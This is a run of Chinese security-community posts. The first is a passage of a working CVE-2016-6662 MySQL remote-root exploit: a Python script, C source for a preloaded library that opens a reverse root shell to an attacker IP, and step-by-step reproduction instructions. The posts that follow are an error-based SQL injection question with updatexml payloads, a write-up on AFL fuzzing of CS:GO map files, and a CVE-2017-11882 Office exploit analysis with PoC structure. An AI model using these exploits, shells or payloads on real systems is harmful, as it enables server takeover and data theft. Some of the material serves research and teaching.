errmsg("Something went wrong: {}".format(err))
shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
print error
shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\nAFTER INSERT\n ON `poctable` FOR EACH ROW\nBEGIN\n\n DECLARE void varchar(550);\n set global general_log_file=\'%s\';\n set global general_log = on;\n select "\n\n# 0ldSQL_MySQL_RCE_exploit got here :)\n\n[mysqld]\nmalloc_lib=\'%s\'\n\n[abyss]\n" INTO void; \n set global general_log = off;\n\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
finally:
dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)
下面是0ldSQLMySQLRCEexploit.py脚本要注入的共享库内容，当mysqld守护进程启动的时候，mysqldsafe会加载该恶意的共享库，然后会主动连接远程攻击者坚挺的6603端口，并给攻击者反弹一个root
shell。
python脚本首先会创建修改mysql配置文件，加入如下内容：
[mysqld] malloclib=mysqlhookandroot_lib.so
然后当mysqld启动的时候，mysqld_safe会加载.so文件中的恶意内容，
**然后.so文件中的execvp()函数首先会清理掉mysql配置文件中插入的垃圾内容，只保留[mysqld]这个字段，以确保mysqld服务能正常启动**
，之后就会向攻击者反弹一个root shell。在使用该文件的时候，需要调整一个接收shell的IP和端口，以及配置路径等。
使用如下命令进行编译：
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
mysqlhookandrootlib.c内容如下：
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"
char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;
// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {
int i; int sockfd;
//socklen_t socklen;
struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip
// create new TCP socket && connect
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
for(i = 0; i <= 2; i++) dup2(sockfd, i);
execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );
exit(0);
}
/*
cleanup injected data from the target config before it is read by mysqld
in order to ensure clean startup of the service
The injection (if done via logging) will start with a line like this:
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
*/
int config_cleanup() {
FILE *conf;
char buffer[2000];
long cut_offset=0;
conf = fopen(INJECTED_CONF, "r+");
if (!conf) return 1;
while (!feof(conf)) {
fgets(buffer, sizeof(buffer), conf);
if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
cut_offset = (ftell(conf) - strlen(buffer));
}
}
if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
fclose(conf);
return 0;
}
// execvp() hook
int execvp(const char* filename, char* const argv[]) {
pid_t pid;
int fd;
// Simple root PoC (touch /root/root_via_mysql)
fd = open("/root/root_via_mysql", O_CREAT);
close(fd);
old_execvp = dlsym(RTLD_NEXT, "execvp");
// Fork a reverse shell and execute the original execvp() function
pid = fork();
if (pid == 0)
reverse_shell();
// clean injected payload before mysqld is started
config_cleanup();
return old_execvp(filename, argv);
}
**复现测试流程：**
1，创建一个测试用的数据库，并创建测试用户的账号和权限，如下：
CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
2，将存在的mysql配置文件的所属用户修改成mysql用户，如下：
# chown mysql:mysql /etc/mysql/my.cnf
# ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
3，用attacker用户运行该exp，运行完毕重启mysql服务 首先，在.c文件中输入你的库路径； 接着，运行.py脚本。 如：
attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
4，然后在定义的接收反弹shell的服务器用nc监听6033端口即可收到反弹的shell。
**详细漏洞测试过程** ，是在ubuntu 14.04中测试的。
1，安装mysql-server ,mysql-client
sudo apt-get install mysql-server mysql-client
2，安装gcc
sudo apt-get install build-essential
3，安装exp脚本中用到的mysql connector，下载地址
<http://cdn.mysql.com//Downloads/Connector-Python/mysql-connector-python1.2.3-1ubuntu12.04all.deb>
4，创建测试用的数据库，以及需要账号及权限
mysql> create database pocdb;
Query OK, 1 row affected (0.00 sec)
mysql> grant file on *.* to 'attacker'@'%' identified by 'hello123';
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT SELECT,INSERT,CREATE ON `pocdb`.* TO 'attacker'@'%';
Query OK, 0 rows affected (0.00 sec)
注意上面这条中数据库名是用反引号括起来的。
5，编译mysqlhookandrootlib.c文件，编译之前，修改内容如下：
#define ATTACKERS_IP "182.92.100.1"
#define SHELL_PORT 1234
#define INJECTED_CONF "/etc/mysql/my.cnf"
其中IP、端口是另外一台需要监听的服务器的，执行exp之后被攻击服务器会主动向上面的IP跟端口反弹一个root权限的shell。
my.cnf是我的测试环境中配置文件的默认位置。
**编译命令：**
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
6，修改/etc/mysql/my.cnf的所属用户及组
chown mysql:mysql /etc/mysql/mysql.cnf
7，唯一鸡肋的地方是需要对ubuntu的apparmor相关的配置，不然exp执行的时候会报错误6，会提示
ERROR 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)
centos的话应该是需要关闭selinux，不过看漏洞介绍说不关闭这个的情况下也能利用，可能是描述有误吧。
修改方法：
sudo vi /etc/apparmor.d/usr.sbin.mysqld
修改成如图所示：
修改完成之后执行：
sudo /etc/init.d/apparmor reload
8，然后将编译好的.so文件以及.py文件放到同一个目录，执行如下命令：
sudo python mysqlRECexploit.py -dbuser attacker -dbpass 'hello123' -dbhost 127.0.0.1 -dbname pocdb -mycnf /etc/mysql/my.cnf
执行成功后如图所示：
然后在之前设定的那个服务器上就会接收到root权限的shell，如图：
**引用**
【技术分享】CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行分析
<http://bobao.360.cn/learning/detail/3026.html>
【漏洞预警】Mysql代码执行漏洞，可本地提权（含exp，9/13 01点更新）
<http://bobao.360.cn/learning/detail/3025.html> | 社区文章 |
SELECT * FROM `qs_personal_focus_company` WHERE MATCH (`company_id`) AGAINST ("aaa");
目前的情况：以上代码aaa参数可控造成的显错注入，但是MATCH..AGAINST需要company_id的属性为fulltext,不然会报错如下图。
当构造语句执行数据库内置函数的时候，是可以优先报错内置函数的(version,database(),user())。
SELECT * FROM `qs_personal_focus_company` WHERE MATCH (`company_id`) AGAINST ("aaa") and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- a
但构造语句为查询语句,就会优先报错MATCH...AGAINST,如第一张图，因为company_id的属性不为fulltext。
SELECT * FROM `qs_personal_focus_company` WHERE MATCH (`company_id`) AGAINST ("aaa") and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x23) FROM qs_admin limit 0,1),0x7e),1) -- a
各位大佬有什么好的解决办法吗？ | 社区文章 |
# 使用afl对CS：GO进行模糊测试
在RealWorldCTF2018中有一个非常有意思的题叫“P90 Rush
B”，名字本意是说在Valve的游戏“CS：GO”中的一种极限战术。这个题主要是考挖掘和利用CS：GO游戏服务器中地图文件加载部分的一个漏洞。在CTF期间，我利用了一个另外一个队伍在[writeup](https://blog.perfect.blue/P90_Rush_B)中提到的一个栈溢出漏洞。
因为这个漏洞影响了CS：GO官方的windows客户端，所以其实是可以有资格被Valve的漏洞赏金程序接受的，其实这个洞是[以前一个报告](https://hackerone.com/reports/351014)的一个小变种。于是我在CTF之后很快就把他报给了官方，之后很快就被patch了。
于是我得到了不错的报酬，之后我就决定花点时间来找找这个目标里的类似情况，并且在这个过程当中学了点黑盒模糊测试的东西，以前一直没机会去学。这篇文章是用来给我和其他人当一篇记录用的，主要记一下我用AFL的QEMU模式的一些经验以及我用来模糊测试BSP文件的方法。用这些方法帮我在3天内找到并且分析了csgo.exe中的3个远程可以用的栈相关和5个堆相关的内存损坏问题。
我觉得有必要提一下Valve认为我的堆相关漏洞（线性溢出和一些半控制的溢出写）有必要修复，在我没有提供完整的利用程序之前，而利用程序会由于aslr而非常难写。无论如何，我觉得这些漏洞作为一个利用链中一部分会非常有用。所以，如果你决定复制一下我的工作，你是可以找到一些0day的。
请务必记住，在黑盒测试方面我还是个新手，很乐意去学习，所以如果我的一些决策不太好，或者我没找到一些可以让事情简单点的工具的话，请务必告诉我，我会非常感激的。
## BSP 文件格式和攻击面
CS：GO当中用到的地图文件格式（也可能是所有使用Source游戏引擎的游戏）叫做BSP，是`binary space
partition`（二进制空间分区）的缩写，也就是一种简单快捷的把对象在ｎ维空间中表示的方法。另外，这个格式还不止能够表示3D的信息。BSP文件在服务器和客户端都有处理，因为两者都需要地图信息的一部分来完成他们自己那块的逻辑。由于客户端初始化了的地图改变的时候，客户端是会从服务器下载一份位置地图的，所以是一个远程攻击面。
从安全研究的角度来讲，我们感兴趣的是客户端和服务器共享的最外层解析代码，大多数在[2007年Source游戏引擎源代码泄露](https://github.com/VSES/SourceEngine2007)中我们都能找到。至少在我看来，代码总体上没有变的太大，BSP解析器也几乎没有做任何安全方面的漏洞修补。解析器的入口函数是`CModeLoader::Map_LoadModel`。
## 模糊测试的基本设置
太长不看版：跟着`https://github.com/niklasb/bspfuzz`复现。
简单的说，我决定对linux服务器二进制文件进行模糊测试，而不是客户端（虽然在linux上也能跑）。对一个命令行程序做模糊测试感觉还是比一整个3D游戏正常一点。这个方法显然没法让我找到任何客户端相关的问题，但是我想的是在共享的代码部分找点容易发现的东西，所以还行。共享的解析代码其实已经够复杂的了，所以我对地图加载过程的模糊测试在性能上没什么太高的预期。我的目标是一个核心每秒100次执行。安装服务器部分你可以参考一下[官方的教程](https://developer.valvesoftware.com/wiki/Counter-Strike:_Global_Offensive_Dedicated_Servers#Downloading_the_CS:GO_Dedicated_Server)。
我看了一个[youtube上的一个教程](https://www.youtube.com/watch?v=dhcoHQcrYKA)，主要是教怎么用[Hammer](https://developer.valvesoftware.com/wiki/Valve_Hammer_Editor)去做一张非常简单的地图，但是没想到的是这就已经300k大小了。这巨大的尺寸其实主要是因为里边的模型数据是没经过压缩存储的，所以我[随手写了份脚本](https://github.com/niklasb/bspfuzz/blob/master/mini_bsp/mini_bsp.py)把一些没啥用的数据都扔了，但是依然保持文件结构完整性。这份脚本可以把在最大的[lumps](https://developer.valvesoftware.com/wiki/Source_BSP_File_Format#Lump_types)里的数据扒到原来尺寸的不到5%，这样就可以得到一个不到16K的文件。但是这文件没办法再完全被客户端加载了，不过可以正常的被`Map_LoadModel`加载。
你可以这样把这个地图加到服务器里：
$ LD_LIBRARY_PATH=`pwd`/bin ./srcds_linux -game csgo -console -usercon \
+game_type 0 +game_mode 0 +mapgroup mg_active +map test \
-nominidumps -nobreakpad
这样会把位于`csgo/maps/test.bsp`里的地图加载进去。加载过程大概需要15秒多，所以这肯定不能用来直接进行模糊测试。于是我决定自己用服务器二进制文件用到的共享库来写个[wrapper](https://github.com/niklasb/bspfuzz/blob/master/main.cpp)，其中比较重要的（从我的目的来看）是：
* `engine.so` \- 主要的Source游戏引擎代码（包括BSP解析）
* `dedicated.so` \- 专用服务器实现（包括应用程序入口）
* `libtier0.so` \- 大概和Steam或者应用程序管理相关
于是这个wrapper主要干了这么几件事：
1. 调用`DedicatedMain`(`srcds_linux`二进制文件也这么干的)来启动一个服务器。
2. 通过将`engine.so`中的`NET_CloseAllSockets`patch掉，来让他重新跳到`startpoint()`函数来重新获取权限。
3. 调用`forkserver()`函数（这儿一会我们会让AFL来fork）
4. 调用`CModelLoader::GetModelForName`来从制定地图文件名加载地图。
5. 以最快速度退出。
这里需要对`engine.so`和`libtier0.so`打几个patch，用[一个python脚本](https://github.com/niklasb/bspfuzz/blob/master/patch.py)就可以了。wrapper和patch脚本都要根据服务器的版本进行调整，主要是针对偏移量改变。
## AFL
我对[AFL做了一点改动](https://github.com/niklasb/bspfuzz/blob/master/afl_patches.dif://github.com/niklasb/bspfuzz/blob/master/afl_patches.diff):
1. 输入文件必须由`.bsp`结尾这样才能被`GetModelForName`正常解析。
2. 我得能自己指定fork服务器在哪儿启动。我加了一个`AFL_ENTRY_POINT`环境变量，在AFL的QEMU部分进行了解析。根据QEMU做重编译的过程，我们大概需要指明基本块的开头指令。
3. 在等fork的时候，加大超时时间的乘数。
这些都patch了之后，跑fuzzer就很简单了：
$ export AFL_ENTRY_POINT=$(nm bspfuzz |& grep forkserver | cut -d' ' -f1)
$ export AFL_INST_LIBS=1
$ afl-fuzz -m 2048 -Q -i fuzz/in -o fuzz/out -- ./bspfuzz @@
最好是用多进程，如果你直接用[我的wrapper脚本](https://github.com/niklasb/bspfuzz/blob/master/run_afl.sh)的话，默认就可以。这是我用8核进行了5分钟fuzz之后的情况：
在我的Ryzen 7 1800X上平均有每秒每线程50次执行。一周以后（虚拟机在之后被停了两周）：
## 分流和造成原因分析
显然我们得找个办法把“好的”bug和没啥意思的bug分开（比如把纯粹的越界读）。我用了一个简单的基于调用栈的去重，然而在Valgrind里边跑了每一个样例。然后我grep了`Invalid
write`，非常的精妙。
$ sudo sysctl -w kernel.randomize_va_space=0
$ cd /path/to/bspfuzz/triage
$ ./triage.sh
$ ./valgrind.sh
$ egrep 'Invalid write' -A1 valgrind/* | egrep at | perl -n -e '/.*at (0x[^:]+)/ && print "$1\n";'
这得花点时间，我关了ASLR，所以这的crash位置都是唯一的。之后我又开了valgrind，然后手动把库的基地址都记下来，然后找到了每个"invalid
write"的位置的库和偏移地址。
之后对于每个地址，我根据泄露的源码手动逆向了函数。有的地方是新的代码，但是前后的部分由于泄露的代码，极大的帮助了我逆向。我慢慢把大部分BSP解析代码都标上了符号，这也用到了从leak的文件中[拿出来的类型](https://github.com/niklasb/bspfuzz/blob/master/re/types.h)。
对于每个poc，我验证了他们在windows的客户端上也可以触发。我发现所有bug在linux服务器和windows客户端上都有问题。
## 一点经验
从这个小项目中我个人学到的经验：
* AFL的QEMU模式对于攻击一小撮代码来说非常灵活，只要你稍微做点hacking，然后用个wrapper文件。
* 输入文件大小 **非常关键** 。从300k降到16k我得到了5倍的性能提升，如果再小点可能效果更好。
* 在整理从来没有fuzz过的代码的时候，分流就很重要了。
* 堆上的内存损坏不是安全问题 [滑稽]
## 示例bug：在CVirtualTerrain::LevelInit里的堆溢出
(这就是那个我发给Valve的报告。但是是个WONTFIX，也就是说，只要没人拿出exp，这个就一直是个0day)
在`CVirtualTerrain::LevelInit`里有个堆溢出，因为`dphysdisp_t::numDisplacements`变量的值可以比`g_DispCollTreeCount`大，在release版本里没有assert检查。一个比较老的版本代码可以在<https://github.com/VSES/SourceEngine2007/blob/master/se2007/engine/cmodel_disp.cpp#L256里找到：>
void LevelInit( dphysdisp_t *pLump, int lumpSize )
{
if ( !pLump )
{
m_pDispHullData = NULL;
return;
}
int totalHullData = 0;
m_dispHullOffset.SetCount(g_DispCollTreeCount);
// [[ 1 ]]
Assert(pLump->numDisplacements==g_DispCollTreeCount);
// 计算lump的大小
unsigned short *pDataSize = (unsigned short *)(pLump+1);
for ( int i = 0; i < pLump->numDisplacements; i++ )
{
if ( pDataSize[i] == (unsigned short)-1 )
{
m_dispHullOffset[i] = -1;
continue;
}
// [[ 2 ]]
m_dispHullOffset[i] = totalHullData;
totalHullData += pDataSize[i];
}
在[[1]]位置的assert在release版本中没有，所以在[[2]]位置有一个溢出。需要注意的是`g_DispCollTreeCount`和`numDisplacements`值，也就是`pDataSize`的内容是一个一个从BSP文件里得到的，所以攻击者可以利用`m_dispHullOffset`缓冲区去尝试获得控制。所以，利用是很有可能的，特别是在Windows
7里边很多模块都没有打开ASLR。
[我还附上了`numDisplacements = 0xffff`以及`g_DispCollTreeCount =
2`的BSP文件，可以有效的把`csgo.exe`搞崩掉。]
# 原文链接
<https://phoenhex.re/2018-08-26/csgo-fuzzing-bsp> | 社区文章 |
# 0x00：前言
本文从2019UNCTF里的一道有意思的逆向题目 **奇妙的RTF**
入手，对Office2017年的CVE-2017-11882进行调试分析，题目文件我放在附件中，需要的师傅可以下载学习，如果你完全不懂Office漏洞，这篇文章还是可以帮助你打开Office漏洞的面纱，首先我会讲一下身为一个完全不懂office的人如何做出这道题目的，然后在对漏洞的Poc本身进行分析，其原理十分简单，本文的调试环境是
* Windows 7 x64 sp1
* Office 2007 Professional
# 0x01：奇妙的RTF
首先题目给我们一个压缩包，解压之后提示我们用Office打开，既然是2017年的，那肯定之前的版本都没有进行修复，所以这里选择安装office2007，然而我们打开什么也没发现
## 静态分析
对于一个不了解office结构的二进制选手，肯定想着先把他放进二进制编辑器中观察，显示如下，前面这些内容应该是office特有的格式
不懂office的话那怎么办呢？当然是百度呀，直接百度第一行的内容，下面就有显示相关的漏洞信息，所以我们初步确定漏洞编号CVE-2017-11882
这里用rtfobj工具查看office文件的各种属性，发现各种属性和百度搜索中的文字完全一样，再次确定漏洞编号CVE-2017-11882，工具下载地址
=> [这里](https://github.com/decalage2/oletools)
通过阅读[这篇文章](https://www.freebuf.com/column/183551.html)，我们可以得到漏洞存在于EQNEDT21.EXE公式编辑器的sub_41160F函数中，我们将其拖进IDA，找到漏洞点，可以看到
伪代码如下，这里没有对长度进行检验就直接进行复制操作，而这个a1参数是我们可以控制的，所以本质上就可能产生一个栈溢出漏洞
## 动态分析
我们静态分析出了漏洞的编号，漏洞的位置，那么动态调试就比较方便了，从网上的各种文章来看，因为Poc都是有弹计算器的，所以它们都是直接在弹计算器函数或者创建线程的函数处下断点，然而这里并没有直接弹计算器，所以我们选择直接在漏洞函数下断点，我们直接用Windbg在程序启动时附加即可，因为是程序启动时附加，所以我们需要设置注册表：
接下来我们直接运行程序就会由Windbg接管，我们在IDA中找到漏洞函数的位置下断即可，这里我们直接在返回地址下断，也就是`bp
0x411874`，我们第一次运行发现这里并没有对返回地址进行覆盖
继续运行，这一次覆盖了返回地址，到了shellcode部分
继续单步进入ecx，发现一堆异或的操作
我们把异或在eax的结果记录下来
解码一下即可得到flag
# 0x02：漏洞分析
## 动态分析
前面是解题过程，这次我们来分析一下具体的poc，首先我们从[这里](https://github.com/embedi/CVE-2017-11882)获得弹计算器的样本，我们这次在函数开始的地方下断点，观察参数
接着我们运行直到拷贝函数覆盖返回地址，这里直接被覆盖为调用计算器函数
## 静态分析
漏洞原理很简单，这里我们继续深入分析一下，我们同样用rtfobj来分析样本
上图这个命令会从RTF文件中提取所有对象，下图的命令可以查看dump出的bin文件的各种属性的信息
我们用二进制编辑器打开dump出来的bin文件，找到下面的片断，这里就是我们分析的关键点，也就是上图分析得到的 Equation Native 数据流
看不懂没关系，下面我们来分析一下结构， Equation Native 由几个成员组成
`Equation Native = EQNOLEFILEHDR + MTEF Header + MTEF Byte Stream`
其中 EQNOLEFILEHDR 头的结构为
大致也就是下面样子
struct EQNOLEFILEHDR {
WORD cCBHdr; // 格式头长度,大小为0x1C
DWORD nVersion; // 固定为0×00020000。
WORD nCf; // 该公式对象的剪贴板格式
DWORD cbObject; // MTEF数据的长度，不包括头部
DWORD nReserved1; // 未使用
DWORD nReserved2; // 未使用
DWORD nReserved3; // 未使用
DWORD nReserved4; // 未使用
};
其结构对应在二进制编辑器中就是下图红框的值
接下来就是 MTEF header 的结构，里面存放一些版本信息
**Description** | **Size (byte)** | **Value** | **Comment**
---|---|---|---
MTEF Version | 1 | 0x3 | MTEFv3
Generating Platform | 1 | 0x1 | Windows
Generating Product | 1 | 0x1 | Equation Editor
Product Version | 1 | 0x3 |
Product Subversion | 1 | 0xa
其结构对应在二进制编辑器中就是下图红框的值
最后就是 MTEF Byte Stream 结构
value | symbol | description
---|---|---
0 | END | end of MTEF, pile, line, embellishment list, or template
1 | LINE | line (slot) record
2 | CHAR | character record
3 | TMPL | template record
4 | PILE | pile (vertical stack of lines) record
5 | MATRIX | matrix record
6 | EMBELL | character embellishment (e.g. hat, prime) record
7 | RULER | ruler (tab-stop location) record
8 | FONT | font name record
9 | SIZE | general size record
10 | FULL | full size record
11 | SUB | subscript size record
12 | SUB2 | sub-subscript size record
13 | SYM | symbol size record
14 | SUBSYM | sub-symbol size record
这里我们主要关注的是其中的 FONT 结构，也就是漏洞点，结构如下
**Description** | **Size (byte)** | **Value** | **Comment**
---|---|---|---
Tag | 1 | 0x8 | 0x8 denotes Font record
Typeface Number | 1 | 0x5a |
Style | 1 | 0x5a |
Font Name | Variable, NULL terminated | “cmd.exe /c calc.exe
AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12 | Overflow and overwrite return address
大致也就是下面样子
struct stuFontRecord {
BYTE bTag; // 字体文件的tag位0×08
BYTE bTypeFace; // 字体风格0x5a
BYTE bStyle; // 字体样式0x5a
BYTE bFontName[n] // 字体名称,以NULL为结束符,漏洞点
};
其结构对应在二进制编辑器中就是下图红框的值
分析完结构，利用就很明显了，我们找到偏移之后只需要把最后返回地址修改为我们的shellcode地址即可，网上Poc大多数是用python实现的，例如[Embedi](https://github.com/embedi/CVE-2017-11882/blob/master/webdav_exec_CVE-2017-11882.py)师傅Poc的一些步骤：
# python实现对各个部件的构造
import argparse
RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
{\*\generator Riched20 6.3.9600}\viewkind4\uc1
\pard\sa200\sl276\slmult1\f0\fs22\lang9"""
RTF_TRAILER = R"""\par}
"""
OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """
OBJECT_TRAILER = R"""
}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260
0100090000039e00000002001c0000000000050000000902000000000500000002010100000005
0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002
1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000
0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000
0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000
002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100
000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a
0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300
00000000
}}}
"""
# 主要关注这里
OBJDATA_TEMPLATE = R"""
01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
[...]
000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141
414141414141414141414141414141414141414141120c4300000000000000000000000000000000 => 覆盖点
00000000000000000000000000000000000000000000000000000000000000000000000000000000
[...]
7cef1800040000002d01010004000000f0010000030000000000
"""
[...]
# 0x03：漏洞修复
从代码角度修复那就是在拷贝函数之前加上一个判断，判断字体名长度是否在合法区间内从而阻止溢出，从用户角度而言修复方案是比较简单的，有下面几个方法
1. 直接在微软官网下载安装包：<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>
2. 开启自动更新，更新到最新版本
3. 由于该公式编辑器已经17年未做更新，可能存在大量安全漏洞，建议在注册表中取消该模块的注册，按下Win+R组合键，打开cmd.exe，输入以下两条命令：
`reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM
Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility
Flags” /t REG_DWORD /d 0x400`
`reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM
Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility
Flags” /t REG_DWORD /d 0x400`
# 0x04：参考链接
[+] 结构体参考：<http://rtf2latex2e.sourceforge.net/MTEF3.html#Header>
[+] Yanhui Jia师傅的分析文章：<https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/>
[+] 四维创智分析文章： <https://www.freebuf.com/column/183551.html> | 社区文章 |
# 【知识】8月29日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： WireX DDoS僵尸网络: 大量被黑Android智能设备构成的DDoS之军、Adwind:
一个跨平台的远控工具(RAT)、Sarahah app 泄露用户隐私、安卓DDOS僵尸网络：The WireX
Botnet、大量android恶意软件样本集、安全相关的优秀演讲集合、Domain
Analyzer：自动发现并报告与给定域名相关的信息、Web安全学习资料汇总**
**资讯类：**
WireX DDoS僵尸网络: 大量被黑Android智能设备构成的DDoS之军
<http://thehackernews.com/2017/08/android-ddos-botnet.html>
Adwind: 一个跨平台的远控工具(RAT)
[https://abuse.ch/blog/adwind-a-cross-plattform-rat/](https://abuse.ch/blog/adwind-a-cross-plattform-rat/)
Sarahah app 泄露用户隐私
